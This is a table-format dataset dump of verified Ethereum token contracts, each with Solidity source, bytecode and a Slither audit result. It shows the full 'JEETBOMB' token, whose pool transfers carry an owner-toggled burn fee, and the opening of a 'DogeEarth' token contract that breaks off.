address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0x0d7c2438001e5df487eac40a2887fb8ca3efade0
|
/**
*Submitted for verification at Etherscan.io on 2020-11-14
*/
pragma solidity ^0.7.0;
/*SPDX-License-Identifier: UNLICENSED*/
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address who) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function transfer(address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUNIv2 {
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline)
external
payable
returns (uint amountToken, uint amountETH, uint liquidity);
function WETH() external pure returns (address);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract JEETBOMB is IERC20, Context {
using SafeMath for uint;
using Address for address;
IUNIv2 uniswap = IUNIv2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniswapV2Factory uniswapFactory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
string public _symbol;
string public _name;
uint8 public _decimals;
uint _totalSupply;
bool triggered;
address payable owner;
address pool;
uint256 public oneH;
uint256 stopBurning;
bool isBurning = true;
mapping(address => uint) _balances;
mapping(address => mapping(address => uint)) _allowances;
mapping(address => uint) bought;
modifier onlyOwner() {
require(msg.sender == owner, "You are not the owner sir");
_;
}
constructor() {
owner = msg.sender;
_symbol = "JEETBOMB";
_name = "JBOMB";
_decimals = 18;
_totalSupply = 1000 ether;
_balances[owner] = _totalSupply;
oneH = block.timestamp.add(2 hours);
stopBurning = block.timestamp.add(1 hours);
emit Transfer(address(0), owner, _totalSupply);
}
receive() external payable {
revert();
}
function setUniswapPool() external onlyOwner{
require(pool == address(0), "Pool is already created");
pool = uniswapFactory.createPair(address(this), uniswap.WETH());
}
function calculateFee(uint256 amount, address sender, address recipient) public view returns (uint256 ToBurn) {
if (recipient == pool && triggered){
if (block.timestamp < oneH)
return amount.mul(38).div(100);
else
return amount.mul(15).div(100);
}
else if (sender == pool)
return amount.mul(5).div(100);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address _owner, address spender) public view virtual override returns (uint256) {
return _allowances[_owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function stopBurningEmergency() external onlyOwner{
require(block.timestamp >= stopBurning);
isBurning = false;
}
function enableBurningEmergency() external onlyOwner{
require(block.timestamp >= stopBurning);
isBurning = true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (isBurning == true){
if (recipient == pool || sender == pool){
uint256 ToBurn = calculateFee(amount, sender, recipient);
uint256 ToTransfer = amount.sub(ToBurn);
_burn(sender, ToBurn);
_beforeTokenTransfer(sender, recipient, ToTransfer);
_balances[sender] = _balances[sender].sub(ToTransfer, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(ToTransfer);
triggered = true;
emit Transfer(sender, recipient, ToTransfer);
}
else {
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
else {
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address _owner, address spender, uint256 amount) internal virtual {
require(_owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[_owner][spender] = amount;
emit Approval(_owner, spender, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
|
0x6080604052600436106101185760003560e01c80635eef45a8116100a0578063a9059cbb11610064578063a9059cbb146105ff578063b09f126614610670578063d28d885214610700578063dd62ed3e14610790578063e84657d41461081557610122565b80635eef45a8146104575780636a674e141461048257806370a082311461049957806395d89b41146104fe578063a457c2d71461058e57610122565b80632eea4caa116100e75780632eea4caa146102e4578063313ce567146102fb57806332424aa314610329578063395093511461035757806342580ed0146103c857610122565b806306fdde0314610127578063095ea7b3146101b757806318160ddd1461022857806323b872dd1461025357610122565b3661012257600080fd5b600080fd5b34801561013357600080fd5b5061013c61082c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017c578082015181840152602081019050610161565b50505050905090810190601f1680156101a95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c357600080fd5b50610210600480360360408110156101da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108ce565b60405180821515815260200191505060405180910390f35b34801561023457600080fd5b5061023d6108ec565b6040518082815260200191505060405180910390f35b34801561025f57600080fd5b506102cc6004803603606081101561027657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108f6565b60405180821515815260200191505060405180910390f35b3480156102f057600080fd5b506102f96109cf565b005b34801561030757600080fd5b50610310610abe565b604051808260ff16815260200191505060405180910390f35b34801561033557600080fd5b5061033e610ad5565b604051808260ff16815260200191505060405180910390f35b34801561036357600080fd5b506103b06004803603604081101561037a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ae8565b60405180821515815260200191505060405180910390f35b3480156103d457600080fd5b50610441600480360360608110156103eb57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b9b565b6040518082815260200191505060405180910390f35b34801561046357600080fd5b5061046c610cfd565b6040518082815260200191505060405180910390f35b34801561048e57600080fd5b50610497610d03565b005b3480156104a557600080fd5b506104e8600480360360208110156104bc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610df2565b6040518082815260200191505060405180910390f35b34801561050a57600080fd5b50610513610e3b565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610553578082015181840152602081019050610538565b50505050905090810190601f1680156105805780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561059a57600080fd5b506105e7600480360360408110156105b157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610edd565b60405180821515815260200191505060405180910390f35b34801561060b57600080fd5b506106586004803603604081101561062257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610faa565b60405180821515815260200191505060405180910390f35b34801561067c57600080fd5b50610685610fc8565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106c55780820151818401526020810190506106aa565b50505050905090810190601f1680156106f25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561070c57600080fd5b50610715611066565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561075557808201518184015260208101905061073a565b50505050905090810190601f1680156107825780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561079c57600080fd5b506107ff600480360360408110156107b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611104565b6040518082815260200191505060405180910390f35b34801561082157600080fd5b5061082a61118b565b005b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108c45780601f10610899576101008083540402835291602001916108c4565b820191906000526020600020905b8154815290600101906020018083116108a757829003601f168201915b5050505050905090565b60006108e26108db611560565b8484611568565b6001905092915050565b6000600554905090565b600061090384848461175f565b6109c48461090f611560565b6109bf856040518060600160405280602881526020016123c960289139600c60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610975611560565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eaf9092919063ffffffff16565b611568565b600190509392505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a92576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f596f7520617265206e6f7420746865206f776e6572207369720000000000000081525060200191505060405180910390fd5b600954421015610aa157600080fd5b6001600a60006101000a81548160ff021916908315150217905550565b6000600460009054906101000a900460ff16905090565b600460009054906101000a900460ff1681565b6000610b91610af5611560565b84610b8c85600c6000610b06611560565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d890919063ffffffff16565b611568565b6001905092915050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015610c065750600660009054906101000a900460ff165b15610c7157600854421015610c4357610c3c6064610c2e602687611f6f90919063ffffffff16565b611ff590919063ffffffff16565b9050610cf6565b610c6a6064610c5c600f87611f6f90919063ffffffff16565b611ff590919063ffffffff16565b9050610cf6565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf557610cee6064610ce0600587611f6f90919063ffffffff16565b611ff590919063ffffffff16565b9050610cf6565b5b9392505050565b60085481565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610dc6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f596f7520617265206e6f7420746865206f776e6572207369720000000000000081525060200191505060405180910390fd5b600954421015610dd557600080fd5b6000600a60006101000a81548160ff021916908315150217905550565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ed35780601f10610ea857610100808354040283529160200191610ed3565b820191906000526020600020905b815481529060010190602001808311610eb657829003601f168201915b5050505050905090565b6000610fa0610eea611560565b84610f9b8560405180606001604052806025815260200161245b60259139600c6000610f14611560565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eaf9092919063ffffffff16565b611568565b6001905092915050565b6000610fbe610fb7611560565b848461175f565b6001905092915050565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561105e5780601f106110335761010080835404028352916020019161105e565b820191906000526020600020905b81548152906001019060200180831161104157829003601f168201915b505050505081565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110fc5780601f106110d1576101008083540402835291602001916110fc565b820191906000526020600020905b8154815290600101906020018083116110df57829003601f168201915b505050505081565b6000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461124e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f596f7520617265206e6f7420746865206f776e6572207369720000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611312576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f506f6f6c20697320616c7265616479206372656174656400000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c9c653963060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156113b757600080fd5b505afa1580156113cb573d6000803e3d6000fd5b505050506040513d60208110156113e157600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561145b57600080fd5b505af115801561146f573d6000803e3d6000fd5b505050506040513d602081101561148557600080fd5b8101908080519060200190929190505050600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600080828401905083811015611556576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806124376024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611674576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806123606022913960400191505060405180910390fd5b80600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156117e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806124126025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561186b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061231b6023913960400191505060405180910390fd5b60011515600a60009054906101000a900460ff1615151415611cf557600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806119305750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611b3b576000611942828585610b9b565b90506000611959828461203f90919063ffffffff16565b90506119658583612089565b61197085858361224f565b6119dc8160405180606001604052806026815260200161238260269139600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eaf9092919063ffffffff16565b600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a7181600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d890919063ffffffff16565b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600660006101000a81548160ff0219169083151502179055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050611cf0565b611b4683838361224f565b611bb28160405180606001604052806026815260200161238260269139600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eaf9092919063ffffffff16565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c4781600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d890919063ffffffff16565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b611eaa565b611d0083838361224f565b611d6c8160405180606001604052806026815260200161238260269139600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eaf9092919063ffffffff16565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e0181600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d890919063ffffffff16565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b505050565b6000838311158290611f5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611f21578082015181840152602081019050611f06565b50505050905090810190601f168015611f4e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080831415611f825760009050611fef565b6000828402905082848281611f9357fe5b0414611fea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806123a86021913960400191505060405180910390fd5b809150505b92915050565b600061203783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612254565b905092915050565b600061208183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611eaf565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561210f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806123f16021913960400191505060405180910390fd5b61211b8260008361224f565b6121878160405180606001604052806022815260200161233e60229139600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eaf9092919063ffffffff16565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121df8160055461203f90919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b505050565b60008083118290612300576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156122c55780820151818401526020810190506122aa565b50505050905090810190601f1680156122f25780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161230c57fe5b04905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ecc134ccb2d335ffb4161c194a1da7fc690cce3413c23fa91489919334237e7564736f6c63430007000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,200 |
0x2F0d4E86738D9E318A3DC05e840034278548cc73
|
/**
*Submitted for verification at Etherscan.io on 2021-06-09
*/
// DogeEarth (DogE)
// Name: DogeEarth
// Symbol: DogE
// Total Supply: 1,000,000,000,000
// Decimals: 9
// Telegram: https://t.me/dogeearth
// Website: https://dogeearth.me
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DOGEEARTH is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Doge Earth";
string private constant _symbol = "DogE \xF0\x9F\x8C\x8E";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
